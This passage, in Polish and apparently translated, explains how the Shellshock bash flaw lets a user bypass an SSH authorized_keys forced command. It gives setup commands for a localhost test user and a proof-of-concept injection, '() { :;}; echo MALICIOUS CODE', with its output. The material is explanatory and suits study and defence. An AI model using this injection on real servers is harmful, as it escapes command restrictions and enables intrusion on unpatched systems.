Jednym z przykładów, w których można to wykorzystać, są serwery z authorized_keys
wymuszonym poleceniem. Podczas dodawania wpisu ~/.ssh/authorized_keys
możesz poprzedzić wiersz linią, command="foo"
aby wymusić foo
uruchomienie w dowolnym momencie użycia klucza publicznego ssh. Dzięki temu exploitowi, jeśli powłoka docelowego użytkownika jest ustawiona na bash
, może skorzystać z exploita, aby uruchomić rzeczy inne niż polecenie, do którego jest zmuszony.
Prawdopodobnie miałoby to więcej sensu w przykładzie, więc oto przykład:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Tutaj konfigurujemy użytkownika testuser
, który wymusza uruchomienie wszystkich połączeń ssh za pomocą twojego klucza ssh echo starting sleep; sleep 1
.
Możemy to przetestować za pomocą:
$ ssh testuser@localhost echo something else
starting sleep
Zauważ, że nasz echo something else
nie uruchamia się, ale starting sleep
pokazuje, że uruchomiono polecenie wymuszone.
Teraz pokażmy, jak można wykorzystać ten exploit:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Działa to, ponieważ sshd
ustawia SSH_ORIGINAL_COMMAND
zmienną środowiskową na przekazane polecenie. Tak więc pomimo sshd
uruchomienia sleep
, a nie polecenia, które mu powiedziałem, z powodu exploita mój kod wciąż działa.